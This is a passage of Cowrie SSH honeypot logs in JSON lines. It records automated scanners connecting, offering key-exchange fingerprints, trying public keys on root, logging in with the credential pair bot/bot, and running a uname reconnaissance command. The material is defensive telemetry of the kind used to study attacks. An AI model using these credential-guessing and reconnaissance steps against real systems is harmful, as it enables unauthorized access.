1@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:25:05.881277Z","src_ip":"2.57.122.208","session":"58ca3b5602a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:25:06.417071Z","src_ip":"2.57.122.208","session":"58ca3b5602a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:25:06.804075Z","src_ip":"2.57.122.208","session":"58ca3b5602a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:25:06.808601Z","src_ip":"2.57.122.208","session":"58ca3b5602a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:25:06.920610Z","src_ip":"2.57.122.208","session":"58ca3b5602a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:25:06.930591Z","src_ip":"2.57.122.208","session":"58ca3b5602a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":18424,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5f60e00fc74","protocol":"ssh","message":"New connection: 186.190.215.90:18424 (10.17.0.5:22) [session: b5f60e00fc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:08.604887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:08.611392Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:08.725808Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:e6:1e:52:06:20:ce:a0:bb:27:43:df:ae:c4:e2:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/LtP3ohGTpIa10ewvV5btrDC5EVpMGeepCyiHv44vDJzejVfvAjaUklQuTBTa8GmtQBH7j04uCmnEwhqKtz9t5ecVKiBrNmkB1OhlUfXg2GRmjDLRZZhtRTz1tFjqmb/KjcT/7yfqg7mGjLdZBQPsOBhjlzkEUMeP9dqANRr8okuzjvUvTq76M0IFVx8aZGd8LG5awDa3ScmlM9GnKAzZsTsm/OoqbKL1WDAJo8B5r/fW85vsCCVcKZJRZOuiAaAx6pHkNEnovHc50x6PzPNEHo9JCfpZuuD2nLHOtejXV2k8taArr41p8LhhFT9CdeVR6Ni8qROSb1nRFLHDA0r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:e6:1e:52:06:20:ce:a0:bb:27:43:df:ae:c4:e2:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.226025Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:e6:1e:52:06:20:ce:a0:bb:27:43:df:ae:c4:e2:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/LtP3ohGTpIa10ewvV5btrDC5EVpMGeepCyiHv44vDJzejVfvAjaUklQuTBTa8GmtQBH7j04uCmnEwhqKtz9t5ecVKiBrNmkB1OhlUfXg2GRmjDLRZZhtRTz1tFjqmb/KjcT/7yfqg7mGjLdZBQPsOBhjlzkEUMeP9dqANRr8okuzjvUvTq76M0IFVx8aZGd8LG5awDa3ScmlM9GnKAzZsTsm/OoqbKL1WDAJo8B5r/fW85vsCCVcKZJRZOuiAaAx6pHkNEnovHc50x6PzPNEHo9JCfpZuuD2nLHOtejXV2k8taArr41p8LhhFT9CdeVR6Ni8qROSb1nRFLHDA0r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.229961Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":60452,"dst_ip":"10.17.0.5","dst_port":22,"session":"14e6d806c92f","protocol":"ssh","message":"New connection: 172.110.219.251:60452 (10.17.0.5:22) [session: 14e6d806c92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.266287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.270672Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:4f:dd:25:a2:63:02:39:d7:49:49:0f:8c:60:05:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ1r0xKDtPJ1gaMsx6h1lp43PouHqJm9lTPVxXoKZOCxbeZWp30iiFWzYehpvLTbwnw1lk8tFF+7SEPmJEHL16er/jtmbJRLZWhmJVVcAhb5QivwQphpllUTT8aGdsom16NyLGXmNJ+GKc5RWpGGhtYKJjurn1PP0CeXA6SaFL3QMIKXDc9lbM3pWT2olxtnCsrq8p6kJuCKSV3gLDvmJhkLl1WiRmnMxZpnbHUkE99pbgI3F7jx0nWmhArg+VDeoRTajtyXVXxk6IM9XPeR6vxrM5EOUEKX1rz+Z03OlpsOdhuloCtSogYPeR14xxlorD0/Xy/7Eqc5z35c9xtqot","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:4f:dd:25:a2:63:02:39:d7:49:49:0f:8c:60:05:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.339311Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:4f:dd:25:a2:63:02:39:d7:49:49:0f:8c:60:05:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ1r0xKDtPJ1gaMsx6h1lp43PouHqJm9lTPVxXoKZOCxbeZWp30iiFWzYehpvLTbwnw1lk8tFF+7SEPmJEHL16er/jtmbJRLZWhmJVVcAhb5QivwQphpllUTT8aGdsom16NyLGXmNJ+GKc5RWpGGhtYKJjurn1PP0CeXA6SaFL3QMIKXDc9lbM3pWT2olxtnCsrq8p6kJuCKSV3gLDvmJhkLl1WiRmnMxZpnbHUkE99pbgI3F7jx0nWmhArg+VDeoRTajtyXVXxk6IM9XPeR6vxrM5EOUEKX1rz+Z03OlpsOdhuloCtSogYPeR14xxlorD0/Xy/7Eqc5z35c9xtqot","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.343399Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.382500Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:e0:a3:93:18:8a:c6:2d:26:c3:3d:e3:8d:1d:b5:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu427SBqk98dnR6eq8NIhkpPq0+4WooqME8n7PDbyUwBL/VN+Ni/Z6EcfExeziIIIXMAi5vIJUJMn1Eb4c8dXmkYYos/1gYusd0/B4QTa/HjtqIAFhNDoY59Nhjeo76aGmTWlAxKx+Sdr/1cRDCCU+SuTA4MwwC6scOQxUin9eMlfOQ3v1WeFLBWLZpKhYUFU2a4PNh0IqyGgLR+jWI9o1OZ0dxyhA3+P2j+QNOsxpuoAPSDZL/r08bIb2mSSv/BfW80tH+fxswLF+kRKJCG8HZyzHsA/aYo4ULXv4D2QsxjFnXoB5qOY5V4VoczvJjpDF5Iy0jDs2jglvx4cvSKyV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:e0:a3:93:18:8a:c6:2d:26:c3:3d:e3:8d:1d:b5:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.448842Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:e0:a3:93:18:8a:c6:2d:26:c3:3d:e3:8d:1d:b5:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu427SBqk98dnR6eq8NIhkpPq0+4WooqME8n7PDbyUwBL/VN+Ni/Z6EcfExeziIIIXMAi5vIJUJMn1Eb4c8dXmkYYos/1gYusd0/B4QTa/HjtqIAFhNDoY59Nhjeo76aGmTWlAxKx+Sdr/1cRDCCU+SuTA4MwwC6scOQxUin9eMlfOQ3v1WeFLBWLZpKhYUFU2a4PNh0IqyGgLR+jWI9o1OZ0dxyhA3+P2j+QNOsxpuoAPSDZL/r08bIb2mSSv/BfW80tH+fxswLF+kRKJCG8HZyzHsA/aYo4ULXv4D2QsxjFnXoB5qOY5V4VoczvJjpDF5Iy0jDs2jglvx4cvSKyV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.452890Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:42:36:67:71:99:85:23:50:0a:a6:ca:74:78:6d:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvyK7KroMxocxEfT93lyF+U71353OF5LyYheelh4A84T3ideTIES7t9mnI4vrNiwvHvWQPPyCNy9XWOkVm2dcLsXj+X2wMz+1xh3Rzg2GGE0BbOMHFjH8S+wIuIZA7qDSq3KMz1Gpjj5zp1orbjpgVAT9Rx7e68qDRGi1tXJ+4TLTwPv9rjvdsUKI0NnAZfb7JKMGHb2THtRzo1CmOjSVZeWiEluSPOXZS75WKWHWy9+0bS+cKXnET7O5k2V2aGbXcBr0RK1Aj8D8P0hUhGKrE9jyyRc1QoiSgRjI9w1cW9SLMf3eeD29qbBjYeN0gpZmYlN+zTCXZBawHWnAhDH0geGFkTnuSS4AOhNDSXp/gVOLbOHuS6hPY6l+Csosgw7FeuGg66Nrn2i86cBhCuOm0DY/G6HruGqOss6WDkNiWbRyOQPHL179/ALdR9/ZGEYAGzOX4ZWBAljLiIKMnQKyUDVNp5R4R3r0KvKfcCs/mnTJeNevGXdm/xsHnr/9mJL2yjrQQc4Z0HBVnrWwku/BYIh+SeWgOsmjRhnnlonu4DlSDUqqO+vxLq1FdvYo2mHVT5OpJA2bb2k5EO2fyrREH5uFIvtIrgBxIiN2IeMdWm2k5emTO345PCx3teIQtkIRhtbQYK4I8UdoORIUKqVk22xmb8fVrIrYaScPWRfeFLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:42:36:67:71:99:85:23:50:0a:a6:ca:74:78:6d:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.558703Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:42:36:67:71:99:85:23:50:0a:a6:ca:74:78:6d:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvyK7KroMxocxEfT93lyF+U71353OF5LyYheelh4A84T3ideTIES7t9mnI4vrNiwvHvWQPPyCNy9XWOkVm2dcLsXj+X2wMz+1xh3Rzg2GGE0BbOMHFjH8S+wIuIZA7qDSq3KMz1Gpjj5zp1orbjpgVAT9Rx7e68qDRGi1tXJ+4TLTwPv9rjvdsUKI0NnAZfb7JKMGHb2THtRzo1CmOjSVZeWiEluSPOXZS75WKWHWy9+0bS+cKXnET7O5k2V2aGbXcBr0RK1Aj8D8P0hUhGKrE9jyyRc1QoiSgRjI9w1cW9SLMf3eeD29qbBjYeN0gpZmYlN+zTCXZBawHWnAhDH0geGFkTnuSS4AOhNDSXp/gVOLbOHuS6hPY6l+Csosgw7FeuGg66Nrn2i86cBhCuOm0DY/G6HruGqOss6WDkNiWbRyOQPHL179/ALdR9/ZGEYAGzOX4ZWBAljLiIKMnQKyUDVNp5R4R3r0KvKfcCs/mnTJeNevGXdm/xsHnr/9mJL2yjrQQc4Z0HBVnrWwku/BYIh+SeWgOsmjRhnnlonu4DlSDUqqO+vxLq1FdvYo2mHVT5OpJA2bb2k5EO2fyrREH5uFIvtIrgBxIiN2IeMdWm2k5emTO345PCx3teIQtkIRhtbQYK4I8UdoORIUKqVk22xmb8fVrIrYaScPWRfeFLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.568086Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:5e:5e:90:61:7d:eb:31:63:e3:1a:15:62:1a:02:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAypT9zBVzcpOzmMNFXlI3nCmUEZLoMQJPzj0l5TadZaGPEfGi+ku6orzcdoKTjF9euuHz4j363sYjVMG8L1PwNUY0Fkg2ZMvQnI6J5L3sW8s3fC2gBa6uHhPBFpDtTu/dD8BhTRNA3oyo/rtDOsNYSitGIrZ0d38VCaf/HNLYk1mChf9JVg33fwSSEHZ9+g5UwjuEHIjwKfu63JOqm4JQOB77vwlPlds4ySlYtKS+pahbDKZsOBJ5Wz/x8Dcv7Fah1wmOOshBvfk6yl29WBcnARECo7tDWxAdzTmsFuGgGiGTg/yNEtR4lceaFIHPFmA+CARKmeiPiwSY/Qr+uBoD563mcfRRaYrjqA1X0R05KELU6Zu5ccgBOP/NSBKjiPbRkSXgKYdIXfYThtKbrv8YZ2dIC+E1KsZ3yxnB0gKqbs04sm5L7ArIJibHTs6T2gf3jttdmACOTOpZvMsCDX0Emzk71D/cChoqb7yCAfeMKd/HRBwW4qKpdvQ2cGtTKj4q4WYpiroSYB1364HJQ/Xml6hU6Zb6Q6QMttMgD32aKw2buJgHjUZlvH9yklFgbGuOYHb2+308+1HtC4F7c6mDeGjPmS1bXJaDddg9YYbjbj5g1OYJdFjyi+JwPu77H+/xpHX8J24j3V2IZVjnVA4F6t6is4fYyqPSp/KGOwj1FAc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:5e:5e:90:61:7d:eb:31:63:e3:1a:15:62:1a:02:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.678166Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:5e:5e:90:61:7d:eb:31:63:e3:1a:15:62:1a:02:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAypT9zBVzcpOzmMNFXlI3nCmUEZLoMQJPzj0l5TadZaGPEfGi+ku6orzcdoKTjF9euuHz4j363sYjVMG8L1PwNUY0Fkg2ZMvQnI6J5L3sW8s3fC2gBa6uHhPBFpDtTu/dD8BhTRNA3oyo/rtDOsNYSitGIrZ0d38VCaf/HNLYk1mChf9JVg33fwSSEHZ9+g5UwjuEHIjwKfu63JOqm4JQOB77vwlPlds4ySlYtKS+pahbDKZsOBJ5Wz/x8Dcv7Fah1wmOOshBvfk6yl29WBcnARECo7tDWxAdzTmsFuGgGiGTg/yNEtR4lceaFIHPFmA+CARKmeiPiwSY/Qr+uBoD563mcfRRaYrjqA1X0R05KELU6Zu5ccgBOP/NSBKjiPbRkSXgKYdIXfYThtKbrv8YZ2dIC+E1KsZ3yxnB0gKqbs04sm5L7ArIJibHTs6T2gf3jttdmACOTOpZvMsCDX0Emzk71D/cChoqb7yCAfeMKd/HRBwW4qKpdvQ2cGtTKj4q4WYpiroSYB1364HJQ/Xml6hU6Zb6Q6QMttMgD32aKw2buJgHjUZlvH9yklFgbGuOYHb2+308+1HtC4F7c6mDeGjPmS1bXJaDddg9YYbjbj5g1OYJdFjyi+JwPu77H+/xpHX8J24j3V2IZVjnVA4F6t6is4fYyqPSp/KGOwj1FAc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.682698Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.788296Z","src_ip":"186.190.215.90","session":"b5f60e00fc74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:e6:1e:52:06:20:ce:a0:bb:27:43:df:ae:c4:e2:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/LtP3ohGTpIa10ewvV5btrDC5EVpMGeepCyiHv44vDJzejVfvAjaUklQuTBTa8GmtQBH7j04uCmnEwhqKtz9t5ecVKiBrNmkB1OhlUfXg2GRmjDLRZZhtRTz1tFjqmb/KjcT/7yfqg7mGjLdZBQPsOBhjlzkEUMeP9dqANRr8okuzjvUvTq76M0IFVx8aZGd8LG5awDa3ScmlM9GnKAzZsTsm/OoqbKL1WDAJo8B5r/fW85vsCCVcKZJRZOuiAaAx6pHkNEnovHc50x6PzPNEHo9JCfpZuuD2nLHOtejXV2k8taArr41p8LhhFT9CdeVR6Ni8qROSb1nRFLHDA0r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:e6:1e:52:06:20:ce:a0:bb:27:43:df:ae:c4:e2:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.921220Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:e6:1e:52:06:20:ce:a0:bb:27:43:df:ae:c4:e2:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/LtP3ohGTpIa10ewvV5btrDC5EVpMGeepCyiHv44vDJzejVfvAjaUklQuTBTa8GmtQBH7j04uCmnEwhqKtz9t5ecVKiBrNmkB1OhlUfXg2GRmjDLRZZhtRTz1tFjqmb/KjcT/7yfqg7mGjLdZBQPsOBhjlzkEUMeP9dqANRr8okuzjvUvTq76M0IFVx8aZGd8LG5awDa3ScmlM9GnKAzZsTsm/OoqbKL1WDAJo8B5r/fW85vsCCVcKZJRZOuiAaAx6pHkNEnovHc50x6PzPNEHo9JCfpZuuD2nLHOtejXV2k8taArr41p8LhhFT9CdeVR6Ni8qROSb1nRFLHDA0r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:09.927598Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:4f:dd:25:a2:63:02:39:d7:49:49:0f:8c:60:05:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ1r0xKDtPJ1gaMsx6h1lp43PouHqJm9lTPVxXoKZOCxbeZWp30iiFWzYehpvLTbwnw1lk8tFF+7SEPmJEHL16er/jtmbJRLZWhmJVVcAhb5QivwQphpllUTT8aGdsom16NyLGXmNJ+GKc5RWpGGhtYKJjurn1PP0CeXA6SaFL3QMIKXDc9lbM3pWT2olxtnCsrq8p6kJuCKSV3gLDvmJhkLl1WiRmnMxZpnbHUkE99pbgI3F7jx0nWmhArg+VDeoRTajtyXVXxk6IM9XPeR6vxrM5EOUEKX1rz+Z03OlpsOdhuloCtSogYPeR14xxlorD0/Xy/7Eqc5z35c9xtqot","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:4f:dd:25:a2:63:02:39:d7:49:49:0f:8c:60:05:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.043088Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:4f:dd:25:a2:63:02:39:d7:49:49:0f:8c:60:05:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ1r0xKDtPJ1gaMsx6h1lp43PouHqJm9lTPVxXoKZOCxbeZWp30iiFWzYehpvLTbwnw1lk8tFF+7SEPmJEHL16er/jtmbJRLZWhmJVVcAhb5QivwQphpllUTT8aGdsom16NyLGXmNJ+GKc5RWpGGhtYKJjurn1PP0CeXA6SaFL3QMIKXDc9lbM3pWT2olxtnCsrq8p6kJuCKSV3gLDvmJhkLl1WiRmnMxZpnbHUkE99pbgI3F7jx0nWmhArg+VDeoRTajtyXVXxk6IM9XPeR6vxrM5EOUEKX1rz+Z03OlpsOdhuloCtSogYPeR14xxlorD0/Xy/7Eqc5z35c9xtqot","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.047066Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
